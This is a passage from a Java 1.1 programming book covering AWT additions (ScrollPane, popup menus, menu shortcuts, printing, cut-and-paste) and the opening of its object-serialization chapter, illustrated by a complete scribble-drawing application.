    if (e.getID() == MouseEvent.MOUSE_DRAGGED) {  // check type
      int x = e.getX(), y = e.getY();
      Graphics g = this.getGraphics();
      g.drawLine(lastx, lasty, x, y);
      lastx = x; lasty = y;
    }
    else super.processMouseMotionEvent(e);
  }
  /** Called on key events:  clear the screen when 'c' is typed. */
  public void processKeyEvent(KeyEvent e) {
    if ((e.getID() == KeyEvent.KEY_TYPED) && (e.getKeyChar() == 'c')) {
      Graphics g = this.getGraphics();
      g.setColor(this.getBackground());
      g.fillRect(0, 0, this.getSize().width, this.getSize().height);
    }
    else super.processKeyEvent(e);  // Pass unhandled events to our superclass.
  }
}

Another way to implement this example would be to override processEvent() directly instead of overriding the various methods that it invokes. If we did this, we'd end up with a large switch statement that separated events by type. When overriding processEvent(), it is particularly important to remember to pass unhandled events to super.processEvent() so that they can be dispatched correctly.

Previous | Home | Next
Scribbling with Inner Classes | Book Index | New AWT Features
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] New AWT Features

Java in a Nutshell

Previous Chapter 8 Next

8. New AWT Features

Contents:
The ScrollPane Container
Popup Menus and Menu Shortcuts
Printing
Data Transfer with Cut-and-Paste
New Feature Demo

In addition to the new AWT event model that we saw in Chapter 7, Events, there are a number of important new AWT features in Java 1.1. These new features were outlined in Chapter 4, What's New in Java 1.1. This chapter details many of those new features and demonstrates them in a single extended example application at the end of the chapter. The major features of the example are:

  • The new ScrollPane component

  • Popup menus and menu shortcuts

  • Printing

  • Data transfer through cut-and-paste

In addition, the example also demonstrates the use of object serialization to save and load application state. This functionality is described in Chapter 9, Object Serialization.

8.1 The ScrollPane Container

The new ScrollPane container holds a single child component that is usually larger than the ScrollPane itself. The ScrollPane displays a fixed-size area of the child and provides horizontal and vertical scrollbars so the user can scroll the child component within the "viewport" of the ScrollPane. Figure 8.1 shows a top-level window created by the application listed in Example 8.1 at the end of this chapter. As you can see, the application creates a ScrollPane container to hold the larger Scribble component that supports free-hand drawing.

Figure 8.1: New AWT features demo application

[Graphic: Figure 8-1]

The ScrollPane is quite easy to use. Simply create it and add a child component as you would with any other container. Note, however, that ScrollPane only supports a single child and it cannot have a LayoutManager specified. The ScrollPane is created in the ScribbleFrame() constructor of the example. The important thing to note is that the ScrollPane does not have any preferred or natural size of its own, so you should use setSize() to specify the size you want it to be. The ScrollPane class defines three constants that are legal values of its "scrollbar display policy." Because the example does not specify one of these constants, the policy defaults to SCROLLBARS_AS_NEEDED, which indicates that scrollbars are displayed for any dimension in which the contained child is larger than the available "viewport" space of the ScrollPane container.

Here is an excerpt of the ScribbleFrame() constructor that shows the creation of the ScrollPane:

ScrollPane pane = new ScrollPane();      // Create a ScrollPane.
pane.setSize(300, 300);                  // Specify its size.
this.add(pane, "Center");                // Add it to the frame.
Scribble scribble;
scribble = new Scribble(this, 500, 500); // Create a bigger scribble area.
pane.add(scribble);                      // Add it to the ScrollPane.

Previous | Home | Next
Inside the Java 1.1 Event Model | Book Index | Popup Menus and Menu Shortcuts
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.2 Popup Menus and Menu Shortcuts

Java in a Nutshell

Previous Chapter 8
New AWT Features 		Next

8.2 Popup Menus and Menu Shortcuts

In Java 1.1, the AWT has some welcome new menuing features. As you can see from Figure 8.1, popup menus (and submenus) are now supported by the AWT. Not shown in the figure, but also supported, are keyboard menu shortcuts, which in this example are attached to the menu items in the pulldown menu.

Popup menus are represented by the PopupMenu class. PopupMenu is a subclass of Menu and is used very much like a Menu pane is. To create a popup menu, create a PopupMenu, and add MenuItem objects to it, just as you would do with a regular menu pane. Instead of adding a popup menu to a menubar, however, you must add it to the component over which it pops up. You do this with the add() method of the target component. As part of the addition of popup menus in Java 1.1, a new add() method has been added to the Component class. This new version of add() accepts a single PopupMenu argument.

Here's a fragment of the Scribble() constructor in Example 8.1 that creates a popup menu and adds it to a component:

// Create the popup menu using a loop.  Note the separation of menu
// "action command" string from menu label.  Good for internationalization.
String[] labels = new String[] {
  "Clear", "Print", "Save", "Load", "Cut", "Copy", "Paste" };
String[] commands = new String[] {
  "clear", "print", "save", "load", "cut", "copy", "paste" };
popup = new PopupMenu();                   // Create the menu.
for(int i = 0; i < labels.length; i++) {
  MenuItem mi = new MenuItem(labels[i]);   // Create a menu item.
  mi.setActionCommand(commands[i]);        // Set its action command.
  mi.addActionListener(this);              // And its action listener.
  popup.add(mi);                           // Add item to the popup menu.
}
Menu colors = new Menu("Color");           // Create a submenu.
popup.add(colors);                         // And add it to the popup.
String[] colornames = new String[] { "Black", "Red", "Green", "Blue"};
for(int i = 0; i < colornames.length; i++) {
  MenuItem mi = new MenuItem(colornames[i]);  // Create the submenu items
  mi.setActionCommand(colornames[i]);         // in the same way.
  mi.addActionListener(this);
  colors.add(mi);
}
// Finally, register the popup menu with the component it appears over.
this.add(popup);

In addition to creating and registering a popup menu, you must also arrange for it to pop up at the appropriate time. Popup menus are always triggered by mouse events, but the particular "popup trigger" event varies from platform to platform. To hide this platform dependency, the MouseEvent class defines a isPopupTrigger() method that you can use to determine whether a popup menu should be "posted" (i.e., popped up) in response to a given event. To post a menu, call its show() method, specifying the component it should appear over and also the coordinates (from the mouse event) that it should appear at. The processMouseEvent() method of Example 8.1 handles posting the popup menu:

public void processMouseEvent(MouseEvent e) {
  if (e.isPopupTrigger())                               // If popup trigger,
    popup.show(this, e.getX(), e.getY());               // pop up the menu.
  else if (e.getID() == MouseEvent.MOUSE_PRESSED) {
    last_x = (short)e.getX(); last_y = (short)e.getY(); // Save position.
  }
  else super.processMouseEvent(e);  // Pass other event types on.
}

Event handling for the menu items in a PopupMenu is the same as it is for pulldown menu items. The simplest technique is to specify the same action listener object for each menu item, but specify a different string as the "action command" for each item. Then, the actionPerformed() method of the listener can dispatch the ActionEvent based on the command string it contains. The actionPerformed() method of the Scribble class in Example 8.1 shows this technique:

public void actionPerformed(ActionEvent event) {
  // Get the "action command" of the event, and dispatch based on that.
  // This method calls a lot of the interesting methods in this class.
  String command = event.getActionCommand();
  if (command.equals("clear")) clear();
  else if (command.equals("print")) print();
  else if (command.equals("save")) save();
  else if (command.equals("load")) load();
  else if (command.equals("cut")) cut();
  else if (command.equals("copy")) copy();
  else if (command.equals("paste")) paste();
  else if (command.equals("Black")) current_color = Color.black;
  else if (command.equals("Red")) current_color = Color.red;
  else if (command.equals("Green")) current_color = Color.green;
  else if (command.equals("Blue")) current_color = Color.blue;
}

The MenuShortcut class is another important addition to the menu functionality of Java. Any MenuItem object may have a MenuShortcut object specified that allows the user to invoke the menu item with a keyboard command. You create a MenuShortcut object by specifying the key code of the key to act as the shortcut, and, optionally, whether the Shift modifier is required to invoke the shortcut. The key should be specified as one of the VK_ virtual key constants defined by the KeyEvent class. Note that you do not specify any Ctrl, Alt, or Meta modifier for a shortcut. Like the "popup trigger" event, the standard keyboard modifier for menu shortcuts is platform-dependent, so Java hides this from you. Consider the following menu shortcut, for example:

MenuShortcut s = new MenuShortcut(KeyEvent.VK_C);

This shortcut is invoked as Ctrl-C on a Windows platform or by using the special "Command" modifier on a Mac.

The following fragment of the ScribbleFrame() constructor of Example 8.1 creates menu shortcuts and associates them with menu items:

// Create three menu items, with menu shortcuts, and add to the menu.
MenuItem n, c, q;
file.add(n = new MenuItem("New Window", new MenuShortcut(KeyEvent.VK_N)));
file.add(c = new MenuItem("Close Window",new MenuShortcut(KeyEvent.VK_W)));
file.addSeparator();                     // Put a separator in the menu.
file.add(q = new MenuItem("Quit", new MenuShortcut(KeyEvent.VK_Q)));

Previous | Home | Next
The ScrollPane Container | Book Index | Printing
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.3 Printing

Java in a Nutshell

Previous Chapter 8
New AWT Features 		Next

8.3 Printing

The popup menu visible in Example 8.1 shows that that example application supports a Print command. One of the most exciting new features of Java 1.1 is the ability of programs to generate hardcopy. You draw on a page in Java just as you draw on the screen: by invoking methods of a Graphics object. The difference, of course, is in the Graphics object. When drawing to the screen, you are given an instance of one subclass of Graphics, and when printing, you are given an instance of some other subclass. The two subclasses implement the necessary functionality for on-screen drawing and printing, respectively.

To print in Java 1.1, follow these steps:

  • First, you must begin the "print job." You do this by calling the getPrintJob() method of the Toolkit object. This method displays a dialog box to the user to request information about the print job, such as the name of the printer it should be sent to. getPrintJob() returns a PrintJob object. You can pass a Properties object to getPrintJob() and the user's printing preferences are stored in it. If the Properties object is used in a subsequent call to getPrintJob(), those preferences are reused in the dialog box.

  • To begin printing a page, you call the getGraphics() method of the PrintJob object. This returns a Graphics object that implements the PrintGraphics interface to distinguish it from an on-screen Graphics object.

  • Now you can use the various methods of the Graphics object to draw your desired output on the page.

  • When you are done drawing the page, you call the dispose() method of the Graphics object to send that page description to the printer. If you need to print another page, you can call the getGraphics() method of the PrintJob again to obtain a new Graphics object for the next page, and repeat the process of drawing and calling dispose().

  • When you have printed all of your pages, you end the print job itself by calling the end() method of the PrintJob object.

Printing AWT components and hierarchies of components is particularly easy. You simply pass a print Graphics object to the print() method of the component you want to print. By default, print() simply passes this Graphics object to the paint() method. If a component wants to display itself differently on paper than it does on screen, however, it might implement a custom print() method. To print a complete hierarchy of components, you simply call the printAll() method of the root component of the hierarchy.

An important restriction on printing is that applets cannot initiate print jobs. This does not mean that they cannot define custom print() methods to allow themselves to be printed; merely that the Web browser or applet viewer must initiate the print job, and invoke the printAll() method of the applet.

The print() method of Example 8.1 shows how to generate hardcopy. Note that this Scribble.print() method happens to have the same name as the Component.print() method discussed above. The two methods have different arguments, however, so Scribble.print() does not override Component.print().

Previous | Home | Next
Popup Menus and Menu Shortcuts | Book Index | Data Transfer with Cut-and-Paste
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.4 Data Transfer with Cut-and-Paste

Java in a Nutshell

Previous Chapter 8
New AWT Features 		Next

8.4 Data Transfer with Cut-and-Paste

Java 1.1 adds cut-and-paste capabilities to Java applications through the classes and interfaces of the java.awt.datatransfer package. The DataFlavor class is perhaps the most central of these classes. It represents the type of data to be transferred. Every data flavor consists of a human-readable name and a data type specification. The data type can be specified in one of two ways: with a Java Class object or with a MIME type string. These two different ways of specifying the data type reflect two different ways of transferring the data. When the data type is specified as a class object, objects of that type are transferred using the object serialization mechanism (which is discussed in Chapter 9, Object Serialization). In Example 8.1, for example, the DataFlavor is specified using the Class object for java.util.Vector. This means that data is transferred as a serialized Vector object. It also means that the DataFlavor object has an implicit MIME type of:

application/x-java-serialized-object; class=java.util.Vector

The data type of a DataFlavor can also be specified as a MIME type. In this case, data is transferred through a stream--the recipient of the data receives a Reader stream from which it can read textual data. In this case, the recipient usually has to parse the data according to the rules of the specified MIME type.

The Transferable interface is another important piece of the AWT data transfer picture. This interface specifies methods that must be implemented by any object that wants to make data available for transfer. One of its methods returns an array of all the DataFlavor types it can use to transfer its data. Another method checks whether the Transferable object supports a given method. The most important method, getTransferData(), actually returns the data in a format appropriate for the requested DataFlavor.

While DataFlavor and Transferable provide the underlying infrastructure for data transfer, it is the Clipboard class and ClipboardOwner interface that support the cut-and-paste style of data transfer. A typical cut-and-paste scenario works like this:

  • When the user issues a command to "copy" or "cut" something, the initiating application first obtains the system Clipboard object by calling the getSystemClipboard() method of the Toolkit object. Next, it creates a Transferable object that represents the data to be transferred. Finally, it passes this transferable object to the clipboard by calling the setContents() method of the clipboard. The initiating application must also pass an object that implements the ClipboardOwner interface to setContents(). By doing so, it becomes the "clipboard owner" and must maintain its Transferable object until it ceases to be the clipboard owner.

  • When the user issues a command to "paste," the receiving application first obtains the system Clipboard object in the same way that the initiating application did. Then, it calls the getContents() method of the system clipboard to receive the Transferable object stored there. Now it can use the methods defined by the Transferable interface to choose a DataFlavor for the data transfer and actually transfer the data.

  • When the user copies or cuts some other piece of data, a new data transfer is initiated, and the new initiating application (it may be the same one) becomes the new clipboard owner. The previous owner is notified that it is no longer the clipboard owner when the system invokes the lostOwnership() method of the ClipboardOwner object specified in the initiating call to setContents().

Note that untrusted applets are not allowed to work with the system clipboard because there might be sensitive data on it from other applications. This means that applets cannot participate in inter-application cut-and-paste. Instead, an applet must create a private clipboard object that it can use for intra-applet data transfer.

The cut(), copy(), and paste() methods of Example 8.1 implement cut-and-paste functionality for scribbled lines. They rely on the nested SimpleSelection class that implements the Transferable and ClipboardOwner interfaces. Note the definition of a DataFlavor object that serves to specify the type of data transfer. [1]

[1] Although the example application uses the system clipboard, scribbles can only be pasted between windows of the same application, not between separate instances of the application running in separate Java interpreters. In Java 1.1.1, inter-application cut-and-paste only works with the pre-defined DataFlavor.stringFlavor and DataFlavor.textFlavor data flavors. Custom types like the one used in the example do not correctly interface with the system clipboard.

Previous | Home | Next
Printing | Book Index | New Feature Demo
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.5 New Feature Demo

Java in a Nutshell

Previous Chapter 8
New AWT Features 		Next

8.5 New Feature Demo

Example 8.1 demonstrates all the new AWT features discussed in this chapter. It is quite a long example, but is worth reading over carefully. In addition to demonstrating AWT features, it also shows the use of object serialization to save and load application state, which is discussed in Chapter 9, Object Serialization.

Example 8.1: New AWT Feature Demo for Java 1.1

import java.awt.*;               // ScrollPane, PopupMenu, MenuShortcut, etc.
import java.awt.datatransfer.*;  // Clipboard, Transferable, DataFlavor, etc.
import java.awt.event.*;         // New event model.
import java.io.*;                // Object serialization streams.
import java.util.zip.*;          // Data compression/decompression streams.
import java.util.Vector;         // To store the scribble in.
import java.util.Properties;     // To store printing preferences in.
/**
 * This class places a Scribble component in a ScrollPane container,
 * puts the ScrollPane in a window, and adds a simple pulldown menu system.
 * The menu uses menu shortcuts.  Events are handled with anonymous classes.
 */
public class ScribbleFrame extends Frame {
  /** A very simple main() method for our program. */
  public static void main(String[] args) { new ScribbleFrame(); }
  /** Remember # of open windows so we can quit when last one is closed. */
  protected static int num_windows = 0;
  /** Create a Frame, Menu, and ScrollPane for the scribble component. */
  public ScribbleFrame() {
    super("ScribbleFrame");                  // Create the window.
    num_windows++;                           // Count it.
    ScrollPane pane = new ScrollPane();      // Create a ScrollPane.
    pane.setSize(300, 300);                  // Specify its size.
    this.add(pane, "Center");                // Add it to the frame.
    Scribble scribble;
    scribble = new Scribble(this, 500, 500); // Create a bigger scribble area.
    pane.add(scribble);                      // Add it to the ScrollPane.
    MenuBar menubar = new MenuBar();         // Create a menubar.
    this.setMenuBar(menubar);                // Add it to the frame.
    Menu file = new Menu("File");            // Create a File menu.
    menubar.add(file);                       // Add to menubar.
    // Create three menu items, with menu shortcuts, and add to the menu.
    MenuItem n, c, q;
    file.add(n = new MenuItem("New Window", new MenuShortcut(KeyEvent.VK_N)));
    file.add(c = new MenuItem("Close Window",new MenuShortcut(KeyEvent.VK_W)));
    file.addSeparator();                     // Put a separator in the menu.
    file.add(q = new MenuItem("Quit", new MenuShortcut(KeyEvent.VK_Q)));
    // Create and register action listener objects for the three menu items.
    n.addActionListener(new ActionListener() {     // Open a new window.
      public void actionPerformed(ActionEvent e) { new ScribbleFrame(); }
    });
    c.addActionListener(new ActionListener() {     // Close this window.
      public void actionPerformed(ActionEvent e) { close(); }
    });
    q.addActionListener(new ActionListener() {     // Quit the program.
      public void actionPerformed(ActionEvent e) { System.exit(0); }
    });
    // Another event listener, this one to handle window close requests.
    this.addWindowListener(new WindowAdapter() {
      public void windowClosing(WindowEvent e) { close(); }
    });
    // Set the window size and pop it up.
    this.pack();
    this.show();
  }
  /** Close a window.  If this is the last open window, just quit. */
  void close() {
    if (--num_windows == 0) System.exit(0);
    else this.dispose();
  }
}
/**
 * This class is a custom component that supports scribbling.  It also has
 * a popup menu that allows the scribble color to be set and provides access
 * to printing, cut-and-paste, and file loading and saving facilities.
 * Note that it extends Component rather than Canvas, making it "lightweight."
 */
class Scribble extends Component implements ActionListener {
  protected short last_x, last_y;                // Coordinates of last click.
  protected Vector lines = new Vector(256,256);  // Store the scribbles.
  protected Color current_color = Color.black;   // Current drawing color.
  protected int width, height;                   // The preferred size.
  protected PopupMenu popup;                     // The popup menu.
  protected Frame frame;                         // The frame we are within.
  /** This constructor requires a Frame and a desired size */
  public Scribble(Frame frame, int width, int height) {
    this.frame = frame;
    this.width = width;
    this.height = height;
    // We handle scribbling with low-level events, so we must specify
    // which events we are interested in.
    this.enableEvents(AWTEvent.MOUSE_EVENT_MASK);
    this.enableEvents(AWTEvent.MOUSE_MOTION_EVENT_MASK);
    // Create the popup menu using a loop.  Note the separation of menu
    // "action command" string from menu label.  Good for internationalization.
    String[] labels = new String[] {
      "Clear", "Print", "Save", "Load", "Cut", "Copy", "Paste" };
    String[] commands = new String[] {
      "clear", "print", "save", "load", "cut", "copy", "paste" };
    popup = new PopupMenu();                   // Create the menu.
    for(int i = 0; i < labels.length; i++) {
      MenuItem mi = new MenuItem(labels[i]);   // Create a menu item.
      mi.setActionCommand(commands[i]);        // Set its action command.
      mi.addActionListener(this);              // And its action listener.
      popup.add(mi);                           // Add item to the popup menu.
    }
    Menu colors = new Menu("Color");           // Create a submenu.
    popup.add(colors);                         // And add it to the popup.
    String[] colornames = new String[] { "Black", "Red", "Green", "Blue"};
    for(int i = 0; i < colornames.length; i++) {
      MenuItem mi = new MenuItem(colornames[i]);  // Create the submenu items
      mi.setActionCommand(colornames[i]);         // in the same way.
      mi.addActionListener(this);
      colors.add(mi);
    }
    // Finally, register the popup menu with the component it appears over.
    this.add(popup);
  }
  /** Specifies how big the component would like to be.  It always returns the
   *  preferred size passed to the Scribble() constructor. */
  public Dimension getPreferredSize() { return new Dimension(width, height); }
  /** This is the ActionListener method invoked by the popup menu items. */
  public void actionPerformed(ActionEvent event) {
    // Get the "action command" of the event, and dispatch based on that.
    // This method calls a lot of the interesting methods in this class.
    String command = event.getActionCommand();
    if (command.equals("clear")) clear();
    else if (command.equals("print")) print();
    else if (command.equals("save")) save();
    else if (command.equals("load")) load();
    else if (command.equals("cut")) cut();
    else if (command.equals("copy")) copy();
    else if (command.equals("paste")) paste();
    else if (command.equals("Black")) current_color = Color.black;
    else if (command.equals("Red")) current_color = Color.red;
    else if (command.equals("Green")) current_color = Color.green;
    else if (command.equals("Blue")) current_color = Color.blue;
  }
  /** Draw all the saved lines of the scribble, in the appropriate colors. */
  public void paint(Graphics g) {
    for(int i = 0; i < lines.size(); i++) {
      Line l = (Line)lines.elementAt(i);
      g.setColor(l.color);
      g.drawLine(l.x1, l.y1, l.x2, l.y2);
    }
  }
  /**
   * This is the low-level event-handling method called on mouse events
   * that do not involve mouse motion.  Note the use of isPopupTrigger()
   * to check for the platform-dependent popup menu posting event, and of
   * the show() method to make the popup visible.  If the menu is not posted,
   * then this method saves the coordinates of a mouse click or invokes
   * the superclass method.
   */
  public void processMouseEvent(MouseEvent e) {
    if (e.isPopupTrigger())                               // If popup trigger,
      popup.show(this, e.getX(), e.getY());               // pop up the menu.
    else if (e.getID() == MouseEvent.MOUSE_PRESSED) {
      last_x = (short)e.getX(); last_y = (short)e.getY(); // Save position.
    }
    else super.processMouseEvent(e);  // Pass other event types on.
  }
  /**
   * This method is called for mouse motion events.  It adds a line to the
   * scribble, on screen, and in the saved representation.
   */
  public void processMouseMotionEvent(MouseEvent e) {
    if (e.getID() == MouseEvent.MOUSE_DRAGGED) {
      Graphics g = getGraphics();                     // Object to draw with.
      g.setColor(current_color);                      // Set the current color.
      g.drawLine(last_x, last_y, e.getX(), e.getY()); // Draw this line
      lines.addElement(new Line(last_x, last_y,       // and save it, too.
                                (short) e.getX(), (short)e.getY(),
                                current_color));
      last_x = (short) e.getX();  // Remember current mouse coordinates.
      last_y = (short) e.getY();
    }
    else super.processMouseMotionEvent(e);  // Important!
  }
  /** Clear the scribble.  Invoked by popup menu. */
  void clear() {
    lines.removeAllElements();   // Throw out the saved scribble
    repaint();                   // and redraw everything.
  }
  /** Print out the scribble.  Invoked by popup menu. */
  void print() {
    // Obtain a PrintJob object.  This posts a Print dialog.
    // printprefs (created below) stores user printing preferences.
    Toolkit toolkit = this.getToolkit();
    PrintJob job = toolkit.getPrintJob(frame, "Scribble", printprefs);
    // If the user clicked Cancel in the print dialog, then do nothing.
    if (job == null) return;
    // Get a Graphics object for the first page of output.
    Graphics page = job.getGraphics();
    // Check the size of the scribble component and of the page.
    Dimension size = this.getSize();
    Dimension pagesize = job.getPageDimension();
    // Center the output on the page.  Otherwise it would be
    // scrunched up in the upper-left corner of the page.
    page.translate((pagesize.width - size.width)/2,
                   (pagesize.height - size.height)/2);
    // Draw a border around the output area, so it looks neat.
    page.drawRect(-1, -1, size.width+1, size.height+1);
    // Set a clipping region so our scribbles don't go outside the border.
    // On-screen this clipping happens automatically, but not on paper.
    page.setClip(0, 0, size.width, size.height);
    // Print this Scribble component.  By default this will just call paint().
    // This method is named print(), too, but that is just coincidence.
    this.print(page);
    // Finish up printing.
    page.dispose();   // End the page--send it to the printer.
    job.end();        // End the print job.
  }
  /** This Properties object stores the user print dialog settings. */
  private static Properties printprefs = new Properties();
  /**
   * The DataFlavor used for our particular type of cut-and-paste data.
   * This one will transfer data in the form of a serialized Vector object.
   * Note that in Java 1.1.1, this works intra-application, but not between
   * applications.  Java 1.1.1 inter-application data transfer is limited to
   * the pre-defined string and text data flavors.
   */
  public static final DataFlavor dataFlavor =
      new DataFlavor(Vector.class, "ScribbleVectorOfLines");
  /**
   * Copy the current scribble and store it in a SimpleSelection object
   * (defined below).  Then put that object on the clipboard for pasting.
   */
  public void copy() {
    // Get system clipboard.
    Clipboard c = this.getToolkit().getSystemClipboard();
    // Copy and save the scribble in a Transferable object.
    SimpleSelection s = new SimpleSelection(lines.clone(), dataFlavor);
    // Put that object on the clipboard.
    c.setContents(s, s);
  }
  /** Cut is just like a copy, except we erase the scribble afterwards. */
  public void cut() { copy(); clear();  }
  /**
   * Ask for the Transferable contents of the system clipboard, then ask that
   * object for the scribble data it represents.  If either step fails, beep!
   */
  public void paste() {
    Clipboard c = this.getToolkit().getSystemClipboard();  // Get clipboard.
    Transferable t = c.getContents(this);                  // Get its contents.
    if (t == null) {              // If there is nothing to paste, beep.
      this.getToolkit().beep();
      return;
    }
    try {
      // Ask for clipboard contents to be converted to our data flavor.
      // This will throw an exception if our flavor is not supported.
      Vector newlines = (Vector) t.getTransferData(dataFlavor);
      // Add all those pasted lines to our scribble.
      for(int i = 0; i < newlines.size(); i++)
        lines.addElement(newlines.elementAt(i));
      // And redraw the whole thing.
      repaint();
    }
    catch (UnsupportedFlavorException e) {
      this.getToolkit().beep();   // If clipboard has some other type of data
    }
    catch (Exception e) {
      this.getToolkit().beep();   // Or if anything else goes wrong...
    }
  }
  /**
   * This nested class implements the Transferable and ClipboardOwner
   * interfaces used in data transfer.  It is a simple class that remembers a
   * selected object and makes it available in only one specified flavor.
   */
  static class SimpleSelection implements Transferable, ClipboardOwner {
    protected Object selection;    // The data to be transferred.
    protected DataFlavor flavor;   // The one data flavor supported.
    public SimpleSelection(Object selection, DataFlavor flavor) {
      this.selection = selection;  // Specify data.
      this.flavor = flavor;        // Specify flavor.
    }
    /** Return the list of supported flavors.  Just one in this case. */
    public DataFlavor[] getTransferDataFlavors() {
      return new DataFlavor[] { flavor };
    }
    /** Check whether we support a specified flavor. */
    public boolean isDataFlavorSupported(DataFlavor f) {
      return f.equals(flavor);
    }
    /** If the flavor is right, transfer the data (i.e., return it). */
    public Object getTransferData(DataFlavor f)
         throws UnsupportedFlavorException {
      if (f.equals(flavor)) return selection;
      else throw new UnsupportedFlavorException(f);
    }
    /** This is the ClipboardOwner method.  Called when the data is no
     *  longer on the clipboard.  In this case, we don't need to do much. */
    public void lostOwnership(Clipboard c, Transferable t) {
      selection = null;
    }
  }
  /**
   * Prompt the user for a filename, and save the scribble in that file.
   * Serialize the vector of lines with an ObjectOutputStream.
   * Compress the serialized objects with a GZIPOutputStream.
   * Write the compressed, serialized data to a file with a FileOutputStream.
   * Don't forget to flush and close the stream.
   */
  public void save() {
    // Create a file dialog to query the user for a filename.
    FileDialog f = new FileDialog(frame, "Save Scribble", FileDialog.SAVE);
    f.show();                        // Display the dialog and block.
    String filename = f.getFile();   // Get the user's response
    if (filename != null) {          // If user didn't click "Cancel."
      try {
        // Create the necessary output streams to save the scribble.
        FileOutputStream fos = new FileOutputStream(filename); // Save to file.
        GZIPOutputStream gzos = new GZIPOutputStream(fos);     // Compress.
        ObjectOutputStream out = new ObjectOutputStream(gzos); // Save objects.
        out.writeObject(lines);      // Write the entire vector of scribbles.
        out.flush();                 // Always flush the output.
        out.close();                 // And close the stream.
      }
      // Print out exceptions.  We should really display them in a dialog...
      catch (IOException e) { System.out.println(e); }
    }
  }
  /**
   * Prompt for a filename, and load a scribble from that file.
   * Read compressed, serialized data with a FileInputStream.
   * Uncompress that data with a GZIPInputStream.
   * Deserialize the vector of lines with an ObjectInputStream.
   * Replace current data with new data, and redraw everything.
   */
  public void load() {
    // Create a file dialog to query the user for a filename.
    FileDialog f = new FileDialog(frame, "Load Scribble", FileDialog.LOAD);
    f.show();                         // Display the dialog and block.
    String filename = f.getFile();    // Get the user's response
    if (filename != null) {           // If user didn't click "Cancel."
      try {
        // Create necessary input streams.
        FileInputStream fis = new FileInputStream(filename); // Read from file.
        GZIPInputStream gzis = new GZIPInputStream(fis);     // Uncompress.
        ObjectInputStream in = new ObjectInputStream(gzis);  // Read objects
        // Read in an object.  It should be a vector of scribbles.
        Vector newlines = (Vector)in.readObject();
        in.close();                    // Close the stream.
        lines = newlines;              // Set the Vector of lines.
        repaint();                     // And redisplay the scribble.
      }
      // Print out exceptions.  We should really display them in a dialog...
      catch (Exception e) { System.out.println(e); }
    }
  }
  /** A class to store the coordinates and color of one scribbled line.
   *  The complete scribble is stored as a vector of these objects. */
  static class Line implements Serializable {
    public short x1, y1, x2, y2;
    public Color color;
    public Line(short x1, short y1, short x2, short y2, Color c) {
      this.x1 = x1; this.y1 = y1; this.x2 = x2; this.y2 = y2; this.color = c;
    }
  }
}

Previous | Home | Next
Data Transfer with Cut-and-Paste | Book Index | Object Serialization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] Object Serialization

Java in a Nutshell

Previous Chapter 9 Next

9. Object Serialization

Contents:
Simple Serialization
Custom Serialization
Serialization and Class Versioning
Serialized Applets
Advanced Serialization

Object serialization is one of the important new features of Java 1.1. Despite its importance, however, serialization is done with a very simple API. This chapter demonstrates several uses of serialization.

9.1 Simple Serialization

Objects are serialized with the ObjectOutputStream and they are deserialized with the ObjectInputStream. Both of these classes are part of the java.io package, and they function, in many ways, like DataOutputStream and DataInputStream because they define the same methods for writing and reading binary representations of Java primitive types to and from streams. What ObjectOutputStream and ObjectInputStream add, however, is the ability to write and read non-primitive object and array values to and from a stream.

An object is serialized by passing it to the writeObject() method of an ObjectOutputStream. This writes out the values of all of its fields, including private fields and fields inherited from superclasses. The values of primitive fields are simply written to the stream as they would be with a DataOutputStream. When a field in an object refers to another object, an array, or a string, however, the writeObject() method is invoked recursively to serialize that object as well. If that object (or an array element) refers to another object, writeObject() is again invoked recursively. Thus, a single call to writeObject() may result in an entire "object graph" being serialized. When two or more objects each refer to the other, the serialization algorithm is careful to only output each object once--writeObject() cannot enter infinite recursion.

Deserializing an object simply follows the reverse of this process. An object is read from a stream of data by calling the readObject() method of an ObjectInputStream. This re-creates the object in the state it was in when serialized. If the object refers to other objects, they are recursively deserialized as well.

This ability to serialize an entire graph of objects and read those objects back in later is a very powerful feature that hides itself in two simple looking methods. We used object serialization in Example 8.1, but unless you were paying attention, you might have missed those crucial writeObject() and readObject() calls. Serialization is used in that Scribble example to give the program an automatic file format for saving the user's scribbles.

To refresh your memory, Example 9.1 shows the save() method of that application. Note the creation of the ObjectOutputStream and the use of the writeObject() method. The corresponding load() method simply reverses the streams to read the scribble back in. You may want to refer to the complete example in Chapter 8, New AWT Features to examine the save() and load() methods in context. Also note the use of a GZIPOutputStream (from java.util.zip) to compress the serialized object data before writing it to disk.

Example 9.1: Using Serialized Objects as an Application File Format

/**
 * Prompt the user for a filename, and save the scribble in that file.
 * Serialize the vector of lines with an ObjectOutputStream.
 * Compress the serialized objects with a GZIPOutputStream.
 * Write the compressed, serialized data to a file with a FileOutputStream.
 * Don't forget to flush and close the stream.
 */
public void save() {
  // Create a file dialog to query the user for a filename.
  FileDialog f = new FileDialog(frame, "Save Scribble", FileDialog.SAVE);
  f.show();                        // Display the dialog and block.
  String filename = f.getFile();   // Get the user's response
  if (filename != null) {          // If user didn't click "Cancel."
    try {
      // Create the necessary output streams to save the scribble.
      FileOutputStream fos = new FileOutputStream(filename);  // Save to file.
      GZIPOutputStream gzos = new GZIPOutputStream(fos);      // Compress.
      ObjectOutputStream out = new ObjectOutputStream(gzos);  // Save objects
      out.writeObject(lines);      // Write the entire Vector of scribbles.
      out.flush();                 // Always flush the output.
      out.close();                 // And close the stream.
    }
    // Print out exceptions.  We should really display them in a dialog...
    catch (IOException e) { System.out.println(e); }
  }
}

Previous | Home | Next
New Feature Demo | Book Index | Custom Serialization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.2 Custom Serialization

Java in a Nutshell

Previous Chapter 9
Object Serialization 		Next

9.2 Custom Serialization

Not every piece of program state can, or should be, serialized. Some things, like FileDescriptor objects, are inherently platform-specific or virtual-machine-dependent. If a FileDescriptor were serialized, it would have no meaning when deserialized in a different virtual machine. For this reason, and also for important security reasons, not all objects can be serialized.

